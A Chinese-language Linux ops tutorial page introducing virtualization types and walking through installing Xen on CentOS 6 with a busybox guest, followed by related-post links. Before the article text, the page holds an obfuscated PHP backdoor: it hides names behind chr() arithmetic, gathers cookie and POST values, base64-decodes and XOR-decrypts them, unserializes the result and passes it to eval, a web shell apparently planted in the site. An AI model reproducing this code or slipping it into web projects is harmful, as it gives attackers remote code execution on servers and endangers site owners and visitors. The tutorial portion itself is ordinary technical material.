$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 虚拟化技术介绍、Xen的简单实现 | Linux运维部落

虚拟化技术介绍、Xen的简单实现

虚拟化是什么?

虚拟化是一种资源管理技术, 是将计算机的各实体资源, 如服务、网络、内存及存储等, 予以抽象、转换后呈现出来, 打破实体之间的不可切割的障碍, 使用户可以比原本的配置更好的方式来应用这些资源。这些资源的新虚拟部分是不受现有资源的架设方式, 地域或物理配置所限制。一般情况下, 虚拟化资源包括计算能力和数据存储 —<转自维基百科>

为什么需要虚拟化?

虚拟化技术在近几年来非常的火热, 实际上在上个世纪60年代, 就已经有了虚拟化的实现。由于计算机的发展遵循了摩尔定律数十年之久。 在二十一世纪初时, 单台计算机的性能已经非常的强大了, 大多数服务器的计算资源都有大量的空闲, 所以虚拟化的技术从重新进入人们的视野…

虚拟化技术主要有以下几个优点:

  1. 计算资源能够得到充分的利用

  2. 简化物理网络架构, 便于管理

  3. 减少基础运维工作频度

  4. 易于实现运维自动化、平台化

什么时候会使用虚拟化?

虚拟化无处不在,每天都听到的云计算就是以虚拟化技术为基础。阿里云、腾讯云等众多提供云服务、VPS的厂商哪家没有使用虚拟化? 我们使用的虚拟机, VMWare Wokstation, VirtualBox, VMWare ESXI… 也都是虚拟化。甚至于很多学校、公司使用的云桌面, 也都是虚拟化技术实现的。还有现在炙手可热的Docker技术, 也是虚拟化。作为一个运维, 你可以不懂云计算, 大数据, 但是你必须了解虚拟化, 这个无处不在的技术!

虚拟化类型简介

模拟:

在底层的硬件上运行OS, OS上通过虚拟化模拟器软件来模拟一个硬件环境, 可以模拟不同平台的环境, 著名的模拟器: PearPC, Bochs, QEMU

完全虚拟化: (Full Virtualization):

CPU、内存不做模拟, 只对其进行分配和管理, 可通过BT, HVM等技术进行加速, 只能模拟本机CPU; 著名的软件: VMWare Workstation, VirtualBox, KVM…

半虚拟化: (Para Virtualization)

在底层硬件上安装VMM(Virtual Machines Monitor)来管理各虚拟机, 各虚拟机的内核需要修改, 从而知道自己是虚拟机, 通过特殊方式调用驱动和特权指令; 著名的软件: Xen, VMWare ESXI, UML …

OS虚拟化:

每一个虚拟机只有用户空间, 所有的虚拟机共享一个内核, 更加的节省资源, 更接近原生性能; 著名的实现: OpenVZ, Docker, Solaris Containers, FreeBSD jails…

Hypervisor是什么?

Hypervisor意为监视器, 宿主机通过Hypervisor来管理各虚拟机

从另一个角度来解释, 虚拟化技术分为两种类型:

  • Type-I: Hypervisor运行在硬件上: 如: VMWare ESXI, Xen…

  • Type-II: Hypervisor运行在OS上: 如: VMWare Workstation, VirtualBox…

Xen是什么?

Xen是一款开源的虚拟机监视器, 由剑桥大学开发, 它能够在单个计算机上运行多达128个拥有完全功能的操作系统。在无HVM技术的CPU上, Xen必须对虚拟机的操作系统进行修改。

Xen可以分别实现半虚拟化和完全虚拟化, 甚至可以实现PV On HVM

  • 半虚拟化下的Xen只有较少的性能损失, 因为要修改系统,所以不能支持全部的操作系统

  • 完全虚拟化的Xen, 通过VT-X, AMD-V等HVM技术来实现, 这样就能够实现虚拟未经修改的系统, 并且性能可能比半虚拟化更好

  • PV On HVM: 由于半虚拟化对于IO设备的提升很大, 但是HVM对系统的兼容性、性能更佳。所以Xen还能够实现半虚拟化IO设备、硬件辅助虚拟化CPU、内存等..

Xen的架构

介绍Xen的架构之前我们先了解一些Xen中的相关术语

  • Hypervisor: Xen的虚拟机监视器, 负责CPU、内存的虚拟化

  • Domain: Xen运行的虚拟机 
    Dom0: 特权域, 负责分配I/O资源(通过QEMU), 管理DomU 
    DomU: 用户域, 运行指定的OS

Xen技术的架构

Xen通过Dom0主机负责I/O资源的分配、 管理和配置DomaU, 底层的Hypervisor分配CPU和内存资源

blob.png

Xen半虚拟化架构

blob.png

Xen全虚拟化架构

blob.png

如何获取Xen?

RHEL5中, Xen是默认的虚拟化方案, 在RHEL6以后使用KVM来代替Xen

Xen对Linux内核的要求

Linux 2.6.37之后才原生支持Xen, Linux 3.0后才针对Xen进行关键优化

获取Xen4centos

Xen4centos项目提供了众多rpm来实现、并支持rhel6/Centos6运行Xen

通过阿里云的镜像站来获取xen4centos的一系列rpm包

[root@node1 ~]# yum-config-manager --add-repo="http://mirrors.aliyun.com/centos/6.7/xen4/x86_64/"

安装Xen并配置一个busybox虚拟机

安装xen

[root@node1 ~]# yum install xen -y 

修改grub 
因为安装xen会自动安装linux 3.X的内核, 我们还需要对其进行一些修改, 使得使用xen进行启动

[root@node1 ~]# vim /etc/grub.conf  #修改第一个title为如下
title CentOS (3.18.12-11.el6.x86_64)
   root (hd0,0)
   kernel /xen.gz dom0_mem=1024M cpufreq=xen dom0_max_vcpus=2 dom0_vcpus_pin
   module /vmlinuz-3.18.12-11.el6.x86_64 ro root=/dev/mapper/vg0-root rd_NO_LUKS rd_NO_DM.UTF-8 rd_LVM_LV=vg0/swap rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto rd_LVM_LV=vg0/root  KEYBOARDTYPE=pc KEYTABLE=us rhgb crashkernel=auto quiet rhgb quiet
    module /initramfs-3.18.12-11.el6.x86_64.img

GIF.gif

添加disk image

[root@node1 ~]# mkdir -pv /data/xen -pv   #创建一个文件夹专门存放xen相关的文件
[root@node1 ~]# cd /data/xen/
[root@node1 xen]# qemu-img create -f raw -o size=2G busybox.img  #创建一个2Graw设备
Formatting 'busybox.img', fmt=raw size=2147483648

[root@node1 xen]# mkfs.ext4 busybox.img  #格式化为ext4分区

编译安装busybox

自行下载busybox
[root@node1 ~]# yum groupinstall "Development Tools" "Server Platform Development"  #安装开发包组
[root@node1 ~]# yum install glibc-static  #安装静态c库
[root@node1 ~]# tar xf busybox-1.22.1.tar.bz2
[root@node1 ~]# cd busybox-1.22.1
[root@node1 busybox-1.22.1]# make menuconfig
[root@node1 busybox-1.22.1]# make && make install

GIF2-iloveimg-compressed.gif

将busybox复制进image

[root@node1 busybox-1.22.1]# mount -o loop /data/xen/busybox.img /mnt/ 
[root@node1 busybox-1.22.1]# cp -a  _install/* /mnt/
[root@node1 /]# cd /mnt/
[root@node1 mnt]# mkdir dev proc sys home

测试能否成功chroot

GIF.gif

编辑配置文件

[root@node1 xen]# vim busybox
name = "busybox-01"
kernel = "/boot/vmlinuz-2.6.32-573.el6.x86_64"
ramdisk = "/boot/initramfs-2.6.32-573.el6.x86_64.img"
extra = "root=/dev/xvda1  selinux=0 init=/bin/sh"
memory = 128
vcpus = 2
disk = [ '/data/xen/busybox.img,raw,xvda,rw'

创建虚拟机

[root@node1 xen]# xl create busybox
Parsing config from busybox
DEBUG libxl__blktap_devpath 76 aio:/data/xen/busybox.img
DEBUG libxl__blktap_devpath 81 /dev/xen/blktap-2/tapdev0
[root@node1 xen]# xl list
Name                                        ID   Mem VCPUs  State   Time(s)
Domain-0                                     0  1024     2     r-----      29.0
busybox-01                                   4   256     1     -b----       0.6

GIF5.gif

总结

本文对虚拟化技术做了简单介绍, 以及简单的通过Xen创建了虚拟机, 后续我还会介绍更多高级的内容

文章内容浅尝辄止, 大家有更好的见解可以提出, 觉得我写的不错, 可以点一波赞~(≧▽≦)/~ 
作者: AnyISaIln QQ: 1449472454 
感谢: MageEdu

原创文章,作者:Net18-AnyISalIn,如若转载,请注明出处:http://www.178linux.com/17164

(3)
上一篇 2016-05-31 15:43
下一篇 2016-05-31 20:22

相关推荐

  • linux常用网络配置

    网卡名称:  网络接口识别并命名相关的udev配置文件:    /etc/udev/rules.d/70-persistent-net.rules  卸载网卡驱动:    modprobe  -r e1000  装载网卡驱动:    modprobe &nbs…

    Linux干货 2016-09-06
  • 文本处理sed

    文本处理sed Sed介绍:          处理文本的工具sed ,Stream EDitor, 行编辑器 sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,…

    Linux干货 2017-05-04
  • KVM部署及简单使用

    KVM特点 KVM必须在具备Intel VT或AMD-V功能的x86平台上运行。KVM包含一个为处理器提供底层虚拟化,可加载的核心模块kvm.ko(kvm-intel.ko或kvm-AMD.ko)。使用一个经过修改的QEMU(qemu-kvm),作为虚拟机上层控制和界面。 由于KVM仅是一个简单的虚拟化模块,所以它的内存管理没有自我实现,需借助于Linux内…

    Linux干货 2016-02-14
  • N25-第一周博客

      第一周博客作业内容 1.描述计算机的组成及其功能 2.按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别 3.描述Linux哲学思想,并按照自己的理解对其进行解释性描述。 4.说明Linux系统上命令的使用格式:详细介绍,ifconfg,echo,tty,startx,export pwd,history,shutdown,powe…

    Linux干货 2016-12-03
  • 2016年8月11号学习博客

    shell脚本编程 shell脚本是包含一些命令或声明,并符合一定格式的文本文件 shell脚本的用途有: 自动化常用命令 执行系统管理和故障排除 创建简单的应用程序 处理文本或文件 命令查询过程:别名–>内部变量–>hash–>$PATH ~]#bash -n 检测脚本语法错误 ~]#bash -x 顺…

    Linux干货 2016-08-15
  • CentOS7编译安装LAMP—php-fpm

    inux的环境是: [root@localhost ~]# lsb_release -a LSB Version:     :core-4.1-amd64:core-4.1-noarch Distributor ID: CentOS Description:     CentOS…

    Linux干货 2016-12-21